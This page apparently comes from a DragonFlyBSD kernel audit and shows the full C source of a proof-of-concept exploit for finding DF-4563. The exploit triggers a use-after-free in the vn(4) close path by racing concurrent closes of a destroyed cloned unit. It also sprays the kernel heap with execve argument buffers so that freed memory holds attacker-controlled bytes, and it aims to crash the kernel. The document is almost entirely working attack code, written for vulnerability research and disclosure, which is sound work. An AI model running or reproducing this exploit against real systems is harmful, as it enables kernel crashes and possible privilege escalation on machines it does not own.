⬢ DragonFlyBSD Kernel Audit
DF-4563 / vn_race.c
← back to finding ↓ download raw
/*
 * DF-4563 PoC: vn(4) concurrent-close UAF
 *
 * Race: two fds open on a detached (VNF_DESTROY) cloned vn unit close
 * concurrently.  diskclose() (sys/kern/subr_disk.c) decrements d_opencount,
 * then under ds_token calls dsclose(dev, type, dp->d_slice).  The loser
 * (lcount==2) blocks on ds_token while the winner (lcount==1) runs
 * dev_dclose(rawdev) -> vnclose() -> kfree(vn) (vn.c:181-187).  When the
 * loser finally gets the token it re-reads dp->d_slice / dp->d_rawdev from
 * the freed vn_softc.
 *
 * We make the freed content attacker-controlled by continuously recycling
 * the 2816-byte slab class with execve() p_args buffers full of 'A'
 * (kern.ps_arg_cache_limit raised so p_args of ~2700 bytes gets cached:
 * sys/kern/kern_exec.c kmalloc(sizeof(struct pargs)+i) + bcopy(argv)).
 *
 * Success criterion: kernel panic, page fault in dsclose/dsisopen with a
 * fault address like 0x41414141414141xx, or any "Fatal trap" in the close
 * path while this program runs.
 */
#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/vnioctl.h>
#include <errno.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define NPAIRS		4	/* concurrent racing units */
#define NSPRAY		4	/* fork/exec spray threads */
#define MAXCHILD	150
#define SPRAY_LEN	2660	/* argv bytes -> p_args ~2672 in 2816 class */

static volatile int stop_flag;
static volatile int child_count;
static pthread_mutex_t child_lk = PTHREAD_MUTEX_INITIALIZER;

/* ---------------- spray ---------------- */
static void *
spray_thread(void *x)
{
	char *big = malloc(SPRAY_LEN + 1);

	memset(big, 'A', SPRAY_LEN);
	big[SPRAY_LEN] = 0;
	while (!stop_flag) {
		pid_t p = fork();
		if (p == 0) {
			/* child: exec sleeper with fat argv -> kmalloc'd
			 * p_args of sizeof(struct pargs)+~2672 bytes,
			 * content = 'A's, alive for 600s */
			execl("/root/poc/sleeper", "sleeper", "600", big,
			      (char *)NULL);
			_exit(127);
		}
		if (p > 0) {
			pthread_mutex_lock(&child_lk);
			child_count++;
			pthread_mutex_unlock(&child_lk);
		}
		/* reap a few so we don't fork-bomb the box */
		while (child_count > MAXCHILD) {
			int st;
			pid_t w;
			usleep(1000);
			w = waitpid(-1, &st, WNOHANG);
			if (w > 0) {
				pthread_mutex_lock(&child_lk);
				child_count--;
				pthread_mutex_unlock(&child_lk);
			} else {
				break;
			}
		}
		usleep(200);
	}
	free(big);
	return NULL;
}

/* ---------------- race ---------------- */
struct pairctx {
	int		 idx;
	volatile int go;
	volatile int fds[2];
	volatile int closed;
	long		 iters;
};

struct closerarg {
	struct pairctx	*pc;
	int		 which;
};

static int
find_unit_path(int fd, char *path, size_t len)
{
	struct stat st, dst;
	int u;

	if (fstat(fd, &st) < 0)
		return (-1);
	for (u = 4; u < 128; u++) {
		snprintf(path, len, "/dev/vn%d", u);
		if (stat(path, &dst) == 0 && dst.st_rdev == st.st_rdev)
			return (0);
	}
	return (-1);
}

static void *
closer_thread(void *x)
{
	struct closerarg *ca = x;
	struct pairctx *pc = ca->pc;

	for (;;) {
		while (!pc->go && !stop_flag)
			;			/* tight spin barrier */
		if (stop_flag)
			break;
		close(pc->fds[ca->which]);
		pc->closed++;
	}
	return NULL;
}

static void *
pair_thread(void *x)
{
	struct pairctx *pc = x;
	struct closerarg ca0 = { pc, 0 }, ca1 = { pc, 1 };
	pthread_t t0, t1;
	struct vn_ioctl vio;
	char path[64];
	int fd1, fd2;
	long iter;

	pthread_create(&t0, NULL, closer_thread, &ca0);
	pthread_create(&t1, NULL, closer_thread, &ca1);

	for (iter = 0; iter < 1000000 && !stop_flag; iter++) {
		fd1 = open("/dev/vn", O_RDWR);		/* clone a unit */
		if (fd1 < 0)
			break;
		if (find_unit_path(fd1, path, sizeof(path)) < 0) {
			close(fd1);
			continue;
		}
		bzero(&vio, sizeof(vio));
		vio.vn_file = NULL;			/* swap-backed */
		vio.vn_size = 16;
		if (ioctl(fd1, VNIOCATTACH, &vio) < 0) {
			close(fd1);
			continue;
		}
		bzero(&vio, sizeof(vio));
		if (ioctl(fd1, VNIOCDETACH, &vio) < 0) {
			/* VNF_DESTROY gets set for cloned units (>=4) */
			close(fd1);
			continue;
		}
		fd2 = open(path, O_RDWR);
		if (fd2 < 0) {
			close(fd1);
			continue;
		}
		/* arm the two closers and release them together */
		pc->fds[0] = fd1;
		pc->fds[1] = fd2;
		pc->closed = 0;
		pc->go = 1;
		while (pc->closed < 2 && !stop_flag)
			;
		pc->go = 0;
		pc->iters = iter;
		if ((iter % 2000) == 0) {
			printf("pair%d iter %ld\n", pc->idx, iter);
			fflush(stdout);
		}
	}
	pc->fds[0] = pc->fds[1] = -1;
	stop_flag = 1;
	return NULL;
}

int
main(int argc, char **argv)
{
	pthread_t spray[NSPRAY], pairs[NPAIRS];
	static struct pairctx pc[NPAIRS];
	time_t t0 = time(NULL);
	int i, budget = 240;

	if (argc > 1)
		budget = atoi(argv[1]);

	bzero((void *)pc, sizeof(pc));
	for (i = 0; i < NPAIRS; i++)
		pc[i].idx = i;
	for (i = 0; i < NSPRAY; i++)
		pthread_create(&spray[i], NULL, spray_thread, NULL);
	for (i = 0; i < NPAIRS; i++)
		pthread_create(&pairs[i], NULL, pair_thread, pc + i);

	while (!stop_flag && time(NULL) - t0 < budget)
		sleep(2);

	stop_flag = 1;
	printf("stopping after %lds, iterations:", (long)(time(NULL) - t0));
	for (i = 0; i < NPAIRS; i++)
		printf(" p%d=%ld", i, pc[i].iters);
	printf("\n");
	fflush(stdout);
	sleep(1);
	return 0;
}